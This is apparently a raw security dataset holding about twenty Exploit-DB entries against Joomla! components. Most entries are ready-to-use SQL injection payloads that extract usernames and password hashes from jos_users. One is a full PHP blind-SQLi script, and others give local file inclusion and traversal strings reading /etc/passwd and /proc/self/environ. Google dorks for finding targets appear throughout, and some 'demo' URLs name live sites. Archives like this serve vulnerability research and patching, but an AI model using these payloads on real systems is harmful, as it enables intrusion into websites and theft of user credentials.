deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14655
Description: Joomla! Component com_equipment - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-16
Author: Forza-Dz

Exploit:
# Exploit Title : Joomla "com_equipment" Sql Injection Vulnerability  
# Date : 16 - 8 - 2010  
# Author : Forza-Dz 
# Vendor : http://joomlaequipment.com/ 
# Version : All Versions  
# Tested on : Win Sp2 and Mac 
############################################################ 
Dork = inurl:"com_equipment" 
############################################################ 
--- SQL Injection Vulenrability ---  
SQL Injection Vulenrability component "com_equipment" 
############################################################
===[ Exploit ]=== 
http://www.site.com/path/index.php?option=com_equipment&view=details&id=[SQL] 
or
http://www.site.com/path/index.php?option=com_equipment&task=components&id=45&sec_men_id=[SQL] 
############################################################ 
===[Injection]=== 
[SQL] = +Union+select+1,user(),3,4,5,6+from+jos_users--
[SQL] = +Union+select+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17+jos_users-- 
[SQL] = +Union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--
############################################################ 
Greetz @ MCA-CRB All "DZ" "MusliM"  
############################################################ 
        ======[saha fotorkom]====== 
############################################################
Exploit-DB #12633
Description: Joomla! Component com_event - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-17
Author: ALTBTA

Exploit:
####################################################################
>>>>> Author : altbta (l_9@hotmail.com)
>>>>> Home : [v4-team.com].[xp10.me]
>>>>> Script : Joomla Component com_event
>>>>> Bug Type : Multiple Vulnerabilities
>>>>> Dork : inurl:"com_event"

####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_event&view=[LFI]
http://site/index.php?option=com_event&view=../../../../../../../../../../../../../../../etc/passwd%00
'


===[ Exploit ]=== [sql]

http://site/index.php?option=com_event&task=details&sid=61 [sql]
http://site/index.php?option=com_event&task=details&sid=-61 union select
1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from jos_users--


####################################################################
RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS
Exploit-DB #12639
Description: Joomla! Component com_event - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: anonymous

Exploit:
# Exploit Title: Joomla Component com_event another sql injection vuln
# Date: 17/5/2010
# Author: N/A
# Software Link: www.joomla.org/download.html
# Version: Multible versions

# Code :
The Attacker Can Exploit A SQL injection vuln in the following:


The Sql injection query:

index.php?option=com_event&task=view&id=-14 UnioN/**/SelECt 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4--

Example:

http://[site]/index.php?option=com_event&task=view&id=-14%20UnioN/**/SelECt%201,2,CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,4--

Thanks To All Muslims

h8k@hotmail.it
Exploit-DB #7793
Description: Joomla! Component com_Eventing 1.6.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-15
Author: InjEctOr5

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_Eventing Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                      == Writing by Stack - thx m8 - ==
#
# usage : php file.php "http://site.me/index.php?option=com_eventing&catid=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-15]
Exploit-DB #36215
Description: Joomla! Component com_expedition - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-09
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/50019/info

The 'com_expedition' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_expedition&task=detail&id=-3235'
Exploit-DB #14694
Description: Joomla! Component com_extcalendar - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-08-20
Author: Lagripe-Dz

Exploit:
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
   Joomla Component com_extcalendar Blind SQL Injection Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# Date: 20/08/2010                                                       0
# Author : Lagripe-Dz                                                   1
# contact : Lagripe-Dz@hotmail.com                                       8
# Home : Algeria                                                       1
# Category: webapps/0day                                               0
# Tested on: [ win xp sp2 ]                                               8
# Dork  allinurl:"com_extcalendar"                                       1
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0

[+] Vulnerable File :
http://www.site.com/[PATH]/components/com_extcalendar/cal_popup.php?extmode=view&extid=[BLIND_SQL]

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
                 Greetz 2 Allah and Ramadan Karim
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
Exploit-DB #5435
Description: Joomla! Component com_extplorer 2.0.0 RC2 - Local Directory Traversal
Type: webapps
Platform: php
Date: 2008-04-13
Author: Houssamix

Exploit:
--------------------------------------------------------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo ---------------------------------------------------------
--------------------------------------------------------------------------------------------------------------

= Author : HouSSaMix                          
= Script : Joomla and Mambo Component com_extplorer
= version : <= 2.0.0 RC2
= Download : http://joomlacode.org/gf/download/frsrelease/6717/21992/com_extplorer_2.0.0_RC2.zip

= Dork1 : inurl:index.php?option=com_extplorer
= Dork2 : powered by extplorer
          			           
							   
= BUG  :  Local Directory Traversal 

exploit => target.com/path/index.php?option=com_extplorer&action=show_error&dir=../../[directory]

example :
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
  site.com/joomla/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

= greetz :	V4 Team - Jiki Team - Gold_M - HaCkeR_EgY - RoMaNcYxHaCkEr and all muslims Hackers

=================================================================================================================

# milw0rm.com [2008-04-13]
Exploit-DB #9833
Description: Joomla! Component com_facebook - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: kaMtiEz

Exploit:
#############################################################################################################
## Joomla Component com_facebook SQL injection vulnerability - (id)				           ##
## Author : kaMtiEz (kamzcrew@gmail.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : September 22, 2009 									   	   ##
#############################################################################################################

#############################################################################################################
# /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__                                              #
# /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_                                              #
# /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__                                              #  
# /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___                                              #
# /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____                                              #
#____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=-       #
#                                                                                                           #
#############################################################################################################

[ Software Information ]

[+] Vendor : -
[+] Download : http://joomlacode.org/gf/project/joomla-facebook/
[+] version : -
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_facebook"

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_facebook&view=student&id=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--

[ Demo ]

http://www.engineering.edu.sg/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--

#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,devil_nongkrong and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] terima kasih buat vYc0d dan devil_nongkrong yang menemani saya waktu YM an .. wkwkwkkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih ....
[+] AURAKASIH I LOVE U FULL arghhhhh ...
Exploit-DB #11699
Description: Joomla! Component com_family - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_family SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_family&view=family&task=getproductsbyfamily&familyid=2&categoryid=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4 FROM jos_users
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_family&view=family&task=getproductsbyfamily&familyid=2&categoryid=-1 UNION SELECT 1,2,3,4 FROM jos_users

[~] Demo            :

http://server/index.php?option=com_family&view=family&task=getproductsbyfamily&familyid=2&categoryid=-498 UNION SELECT 1,2,3,4 FROM jos_users
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #34477
Description: Joomla! Component com_fireboard - 'Itemid' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-15
Author: ViRuS Qalaa

Exploit:
source: https://www.securityfocus.com/bid/42460/info

The 'com_fireboard' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URI is available:

http://www.example.com/{path}/index.php?option=com_fireboard&Itemid=[SQL]
Exploit-DB #36635
Description: Joomla! Component com_firmy - 'Id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-30
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51727/info

The 'com_firmy' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

 http://www.example.com/index.php?option=com_firmy&task=section_show_set&Id=[SQLinjection]
Exploit-DB #11844
Description: Joomla! Component com_flash - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-22
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_flash SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-22

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_flash SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_flash&sid=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_flash&sid=-1+UNION+SELECT+1,2,3,4,5,6--

 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #9697
Description: Joomla! Component com_foobla_suggestions (idea_id) 1.5.11 - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-16
Author: Chip d3 bi0s

Exploit:
-----------------------------------------------------------------------------------------
joomla component com_foobla_suggestions (idea_id) SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : Chip D3 Bi0s
Email          : chipdebios[alt+64]gmail.com
Date           : 15 September 2009
Critical Lvl   : Moderate
Impact	       : Exposure of sensitive information
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : foobla Suggestions
version       : 1.5.11
Developer     : foobla
License       : GPL            type  : Commercial
Date Added    : 15 September 2009
Demo          : http://demo.foobla.com/foobla-suggestions-joomla/                            
Download      : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html
Description   :

Have you ever used Uservoice? Would you like to have something
similar on Joomla but with unlimited features and no monthly fee?
The foobla Suggestions allows you to collect ideas, suggestions,
and votes from your cutomers. 
---------------------------------------------------------------------------


I.SQL injection (idea_id)
Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=comment&idea_id=[Sqlinjection]

[Sqlinjection]= null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users


Demo Live:
~~~~~~~
http://demo.foobla.com/foobla-suggestions-joomla/index.php?option=com_foobla_suggestions&controller=comment&idea_id=null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-16]
Exploit-DB #12017
Description: Joomla! Component com_football - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-02
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_football SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-02

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_football SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_football&task=viewteams&leagueID=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_football&task=viewteams&leagueID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #15443
Description: Joomla! Component com_forme 1.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-06
Author: jdc

Exploit:
# Exploit Title: RSform! 1.0.5 (Joomla) Multiple Vulnerabilities
# Date: 06.11.2010
# Author: jdc
# Software Link: 
http://extensions.joomla.org/extensions/contacts-and-feedback/forms/2265
# Version: 1.0.5

Local File Include
------------------
?option=com_forme
〈=../../../../../../../../../etc/passwd%00

SQL Injection
-------------
?option=com_forme
〈=-1' union select benchmark(1000000,md5(1)) -- '

NOTE: RSform! Pro is not affected...

6 Nov 2010
jdc
Exploit-DB #34637
Description: Joomla! Component com_formmaker 3.4 - SQL Injection
Type: webapps
Platform: php
Date: 2014-09-12
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Joomla Spider Form Maker <= 3.4 SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://web-dorado.com/

# Software Link : http://web-dorado.com/products/joomla-form.html

# Dork Google: inurl:com_formmaker
                   

# Date : 2014-09-07

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

######################

# PoC Exploit:

http://localhost/index.php?option=com_formmaker&view=formmaker&id=[SQLi]


"id" variable is not sanitized.


######################

# Vulnerability Disclosure Timeline:

2014-09-07:  Discovered vulnerability
2014-09-09:  Vendor Notification
2014-09-10:  Vendor Response/Feedback
2014-09-10:  Vendor Fix/Patch
2014-09-10:  Public Disclosure

#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
		
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #35295
Description: Joomla! Component com_frontenduseraccess - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-01
Author: wishnusakti

Exploit:
source: https://www.securityfocus.com/bid/46081/info

The 'com_frontenduseraccess' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_frontenduseraccess&controller=../../../../../../../../../../proc/self/environ%00